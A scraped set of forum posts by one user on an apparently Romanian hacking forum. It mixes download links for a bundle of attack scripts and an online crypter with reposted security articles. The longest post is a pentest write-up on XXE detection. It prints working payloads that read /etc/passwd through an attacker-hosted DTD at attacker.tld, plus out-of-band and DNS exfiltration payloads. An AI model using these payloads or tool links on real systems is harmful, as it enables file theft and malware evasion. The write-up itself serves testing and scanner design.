twitterbot.py v3nom.py vbscan.py webauthbrute.py webauthbrute_random.py webauthbrute_random_usersupport.py webmin.py webmin_rand.py webminbrute.py webscan.py webservscan.py wepcrack.py wepdecode.py wepgen.py win.py winrand.py wordcreator.py wordextract.py wordpressbf.py wordsplit.py wpacrack.py xoopscan.py xss-scanner.py xssb3m.py xssfinderb3mb4m.py xsstest.py Download: http://uppit.com/dq08gvlin65c/Sources.tar.gz Mirror: https://www.sendspace.com/file/n0dpfu
  18. Fi8sVrs
    parca nu ati mai vazut zapada pana acum de va minunati
  19. Fi8sVrs
    + 2 placi de baza asus eee pc
  20. Fi8sVrs
    am pus sursa cu [phpcode] cred ca din cauza asta, @explode(',',$i)); am editat mai devreme
  21. Fi8sVrs
    http://1337.24.lc/ Source: http://1337.24.lc/src/crypterOnline.zip Mirror: http://rghost.net/58708663 indetectables.net
  22. Fi8sVrs
    Download: http://uppit.com/q9pnz9ulpzsn/linux.tar.gz Mirror: http://rghost.net/58708729
  23. Fi8sVrs
    Bogus World Health Organisation emails loaded with malware CYBER CRIMMINALS are taking advantage of the recent Ebola outbreak to trick unsuspecting web users into downloading malware sent in emails that purport to come from the World Health Organisation (WHO). Uncovered by security researchers at Trustwave, the malware was flagged when it appeared that criminals had crafted bogus WHO emails encouraging people to open a .RAR attachment to find out how they can protect themselves against Ebola. Trustwave said that once the attachment has been clicked on, it downloads malware onto the victim's machine. The emails have been sent to a few hundred organisations by criminals who hope to gather information which they can later sell. "Upon closer inspection, the RAR compressed file attachment is not a document file but an executable file of a DarkComet Remote Access Trojan," explained Trustwave. "This Trojan makes use of its heavily obfuscated AutoIt-based script to run undetected by antivirus software. "When run, it creates a randomly named folder in the Windows Application Data folder and drops all of its component files into that folder." Trustwave has seen only one version of the email, suggesting a low volume campaign. "It isn't surprising to find cyber criminals continuing to piggyback on newsworthy and major events, disasters and outbreaks in order to lure potential victims and spread their malware," said the security firm. Last week, the US Computer Readiness Team posted an advisory about protecting against scams and spam campaigns using Ebola as a social engineering theme. The organisation once again advised people not to follow unsolicited web links or click on attachments in emails. µ Via Hackers use Ebola outbreak to trick users into downloading malware- The Inquirer
  24. Fi8sVrs
    In this article I present some thoughts about generic detection of XML eXternal Entity (XXE) vulnerabilities during manual pentests supplemented with some level of automated tests. The ideas in this blog post (derived from experiences of several typical and untypical XXE detections during blackbox pentests) can easily be transformed into a generic approach to fit into web vulnerability scanners and their extensions. This is done by demonstrating an example of where service endpoints that are used in a non-XML fashion can eventually be accessed with XML as input format too, opening the attack surface for XXE attacks. At the time of writing this article I've started to develop a Burp Extension ("Generic XXE Detector") and will eventually also transform it into a ZAP extension, letting this kind of detection approach make its way into these scanners. When they're finished, I'll release them via GitHub and the tools extension mechanisms. So stay tuned and check this page soon... XXE detection in service endpoints During blackbox pentesting one often gets in front of some service endpoints (mostly REST based ones used from within single-page apps in browsers). These RESTful endpoints often offer JSON as transport format, but many server-side development frameworks (like JAX-RS for Java based RESTful services) make it very easy for developers to offer also an XML based data exchange format for input and/or output out-of-the-box. If such alternative formats exist, they can easily be triggered using proper Content-Type request header values (like text/xml or application/xml). So the challenge is to find these endpoints which also accept XML as input format, even though the client (webpage) only uses JSON or direct path- or query-params to access the service. To scale this from a manual pentesting trick into a way of automation, the tool to scan for this needs a generic XXE detection approach, which can easily be applied to every URL the active scanner sees in its scope during a pentest. So the challenge is to find these endpoints which also accept XML as input format, even though the client (webpage) only uses JSON or direct path- or query-params to access the service. To scale this from a manual pentesting trick into a way of automation, the tool to scan for this needs a generic XXE detection approach, which can easily be applied to every URL the active scanner sees in its scope during a pentest. In one very interesting case of an XXE finding inside a Java based service endpoint (during a blackbox pentest) I came across a service endpoint that only had path- and query-params as input source and responded with JSON. Basically it was even a simple GET based service (no POST there). So this didn't really look much like "let's try some XXE Kung-Fu here...". Especially the tools including Burp didn't find any XXE at this spot when actively scanning it (even with thorough scanning configured). But after several manual tries, I managed to squeeze an XXE out of it, since it indeed was a REST service which also accepted XML out-of-the-box. I had to apply several tricks though, in order to get the XXE to work: I tried to convert the request from a GET to a POST in order to also send XML as the request body. Unfortunately POST was not accepted (as the service was only mapped to GET), so I had to stick to GET requests. I removed the query-params as well as path-params from the request URL in order to not let these get picked up by the service. As this was a blackbox pentest, I can only assume that removing the query-params led towards a mode of the service endpoint accepting the input also via other formats (i.e. when automatically mapped from XML input for example). Accessing the service without the used path- and query-params resulted in an error message (no input data available). Even though only GET could be used, I then added the Content-Type: application/xml request header and some non-conforming invalid XML as the request body: This was rewarded with an XML error message, showing that some kind of parsing process picked up the body payload of the GET request, i.e. making it an interesting target to investigate further. Adding the path- and query-params back to the request resulted in a business error message, so that the exploit seems to require to remove them, as they might take precedence over the XML body otherwise. As I then had a way of letting the server parse my XML and received at least replies with some technical error messages from the parser, I tried to use the XXE to exfiltrate some data (like /etc/passwd or just listing of base directory /): As the expected XML format for this kind of service call was not known to me (blackbox assessment), I had to use a more generic approach, which works even without placing the entity reference in the proper XML element. Also (as tested afterwards) when the server got the XML as expected, it didn't return any dynamic response, so only the technical error was echoed back. Of course the great out-of-band (OOB) exfiltration technique by T.Yunusov and A.Osipov would work as a generic approach to exfiltrate content in such a scenario. But since (at least for current Java environments) this kind of URL-based OOB exfiltration only allowed to exfiltrate contents of files consisting of only one line (as CRLFs break the URL to the attacker's server), I managed to combine it with the technical error message the server replied and read the data from there: The idea is to use the trick of passing the data carrying parameter entity itself into another file:/// entity in order to trigger a file-not-found exception on the second file access with the content of the first file as the name of the second file, which was thankfully echoed back completely from the server as a file-not-found exception (so pure OOB exfiltration wasn't required here): Attacker's DTD part applying a file-not-found exception echo trick (hosted on attacker's server at http://attacker.tld/dtd-part): <!ENTITY % three SYSTEM "file:///etc/passwd"> <!ENTITY % two "<!ENTITY % four SYSTEM 'file:///"%three;"'>"> Request (exploiting the XXE like in the regular OOB technique by Yunusov & Osipov): GET /service/ HTTP/1.1 Host: example.com:443 Content-Type: application/xml Content-Length: 161 "<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE test [ <!ENTITY % one SYSTEM "http://attacker.tld/dtd-part" > %one; %two; %four; ]>" Response (delivering the data as file-not-found error message): HTTP/1.1 400 Bad Request Server: Apache-Coyote/1.1 Content-Type: text/html Content-Length: 1851 Connection: close "javax.xml.bind.UnmarshalException - with linked exception: [java.io.FileNotFoundException: /root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin:/sbin/nologin ... ... ... ... ... ... ... ... ... apache:x:54:54:Apache:/var/www:/sbin/nologin (No such file or directory)]" Using this file-not-found exception echo trick to read the data not only solved the "one line only" exfiltration problem, it also lifted some restrictions that existed with XXE exploitations when used directly inside the XML elements: Contents of files that contain XML special meta chars (like < or >) would break the XML structure. This is no longer a problem with the above mentioned trick. After that all worked pretty well, I discovered that Ivan Novikov has recently blogged about some pure OOB techniques that even exfiltrate data under Java 1.7+ using the ftp:// scheme and a customized FTP server. This would have worked in the above mentioned scenario as well - even when the server does not return technical error messages, as it is a pure OOB exfiltration trick. As a small side note: This file-not-found exception echo trick might also be used as an XSS in some cases by trying to echo <script>alert(1)</script> as the filename. Often these technical error messages might not be properly escaped when echoed back, compared to situations where non-error-messages originating from regular XML element input will be reflected. But this XSS is rather difficult to exploit in real scenarios, since it would not be easy to trigger the desired request from a victim's browser – if not even impossible depending on the http method (in this example a strange GET with request body). Automating this as a scanning approach Finding such an XXE vulnerability in a service endpoint using only manual pentesting tricks (as the scanners didn't detect it) made me think of a generic approach that is capable of detecting such a vulnerability automatically. Basically the scanning technique should try this on every (in-scope) request it sees, even when the request in question does not contain any XML data (as in the scenario of the RESTful service above that used mainly JSON). So here are the ideas I came up with (which I will also prototype as a Burp and/or ZAP extension soon). The scanner should perform the following steps on every request it is allowed to scan actively. This should be done in addition to any regular XXE detections the scanner already has in place. The following technique is just intended to detect scenarios like the above mentioned: Issue the request with original path- and/or query-params and with the http POST method as well as its original http method (even GET) and place a generic DTD based payload in the request body that directly references the parameter entity, like the following: <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE test [ <!ENTITY % xxe SYSTEM "file:///some-non-existing.file" > %xxe; ]>. Don't forget to add the Content-Type: application/xml header to the request (also try with text/xml as well). If the response contains an error like the following (effectively echoing the filename back in some kind of file-not-found message), flag it as potential XXE: javax.xml.bind.UnmarshalException - with linked exception: [java.io.FileNotFoundException: /some-non-existing.file (No such file or directory)] You can also compare the response content of the previous step of accessing a non-existing file with accessing a valid existing file like /etc/passwd. This might catch some differences between the error responses of non-existing files vs. existing files that do not contain valid content to place inside the DTD. If it is also possible to echo in the file-not-found exception message some <script>alert(1)</script> as the filename, flag it as XSS too, but one that is difficult to exploit (and depending on the http method required eventually impossible to exploit). [*]If the steps above didn't trigger an XXE condition, try to remove the original request's query-params and try the above steps again. Finally try to strip each path-param as well (just in case the service is picking this up also and then does not try to access input from the XML body instead) and retry step one. [*]If the steps above didn't trigger an XXE condition, try to use the well-known OOB techniques (see the referenced links above for more details regarding these cool tricks): Use a payload like the following (still having the Content-Type header set to application/xml): <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://attacker.tld/xxe/ReqNo" > %xxe; ]>, where ReqNo is replaced by a unique number for every request scanned. This unique number is required (when parsing the attacker's webserver logs) to correlate log entries with the scanned requests that should then be flagged as XXE candidates. The best results would be gained if the scanner offers some kind of drop-in where (at the end of the pentesting assignment) the observed webserver logs (of the attacker's webserver) can be given to the scanning engine for checking against the issued OOB request numbers for matches. [*]If the steps above didn't trigger an XXE condition (eventually because the server cannot access the attacker's webserver), try to use established DNS-based OOB exfiltration techniques, where part of the domain name contains the XXE request number ReqNo from the previous step, like in the following payload: <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://ReqNo.xxe.attacker.tld" > %xxe; ]>. That way at least the DNS resolution to the attacker's domain via its DNS server might be used to trigger the XXE match when after the pentest the logs of the DNS server are parsed by the scanner to correlate them with the scanned requests. [*]If the steps above didn't trigger an XXE condition, we have to go completely blind only on sidechannels like timing measurements: This could be done by checking various internally reachable ports while measuring the response time of the payload <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://127.0.0.1:80" > %xxe; ]> versus the response time of <?xml version="1.0" encoding="UTF-8" standalone="yes"?> <!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://127.0.0.1:9876" > %xxe; ]> Similar checks can be performed with file:/// URLs by accessing small vs. big files. When being a risky scanner, you can try to measure the increase in response time when accessing /dev/zero as the file (eventually killing the thread on the server). Also a risky scanner can try to measure the processing time of nested (non-external) expansions like in the "billion laughs attack". Conclusion As a Pentester Watch out for any service-like endpoints in the application to pentest and try to force them to accept XML, even when the usage of these endpoints from within the application utilizes other kinds of input formats (like query- or path-params or JSON post bodies). In a lucky case where the endpoint is also configured to accept XML, try to further exploit this as an XXE condition. As a Scanner Vendor Try to incorporate ideas like the steps presented in this article into your scanning engines augmenting them with automated parsing of log files to ease generic XXE detection with OOB techniques, even when scanning large attack surfaces (and make the attacker's exfiltration URL configurable). Source Generic XXE Detection
  25. Fi8sVrs
    An interesting attack showed up in the logs this past weekend. The attack traffic was headed to rogue subdomains on a couple of sibling sites: powoxf8uaknp86axrpzl97f.boletinesvissionglobal.com.mx 65qdu662douvxj2qxw8chf7.boletinesvissionglobal.com.mx lqn33iegyocygy9e579lq9f.boletinesvissionglobal.com 5lgxlni6g9y9byhgl6lgnni.boletinesvissionglobal.com wim3gcwsscepr0e1p011bjf.boletinesvissionglobal.com wim3gcwsscepr0e1p011bjf9060540dcbea42d013df5ad5163d17f03.boletinesvissionglobal. com Both parent domains live at IP address 72.249.55.79, which belongs to a server hosting company in St. Louis, and both domains (which have had no traffic in the last year, until the weekend) are currently showing "account suspended" pages: The rogue subdomains, on the other hand, lived on a different IP (107.6.150.82), which belongs to a Netherlands host, although our logs show it currently living in the U.S. We saw over 200 requests on Sunday for these URLs, all of which were flagged in real time as Malware by WebPulse's Malnet Tracker module, and this was only part of the attack. But that's not why it was interesting... Looking at where the attack traffic was coming from, we saw that most of it was coming from search engines. (With as much as we've written about Malvertising attacks this year, it can be easy to forget that other traditional attack vectors like Search Engine Poisoning (SEP) and Spam are still alive and well.) But the SEP angle got a lot more interesting when we looked at which search engine domains were involved in the traffic: although there was some traffic from the generic google.com and bing.com domains, most of the domains were in Arabic-speaking countries (e.g., google.com.sa, google.com.eg, google.ae, etc.). And, as you might expect, most of the search terms that had been used by the attack victims were in Arabic. Furthermore, along with the direct SEP traffic, a number of Arabic-language forums were also seen as traffic sources into the attack network -- apparently due to links from search engines -- so this campaign was rather unusual in being so focused in a single language. (It wasn't entirely Arabic-based, as some of the searches that led to SEP clicks were in English, but the clear majority of the sources were Arabic.) Non-English SEP attacks aren't rare, of course, but normally when we analyze SEP attack logs, we expect to find a mixture of languages. This attack was definitely unusual in that regard. The analyst who found this network simply noted that the sites were hosting an exploit kit, but didn't name a specific one. Since we blocked all of the initial requests, there weren't any payloads to analyze, and I wasn't able to get anything from the attack sites when I tried, so that's where the story ends... We'll continue to monitor this network. Via https://www.bluecoat.com/security-blog/2014-10-22/arabic-search-engine-poisoning-attack
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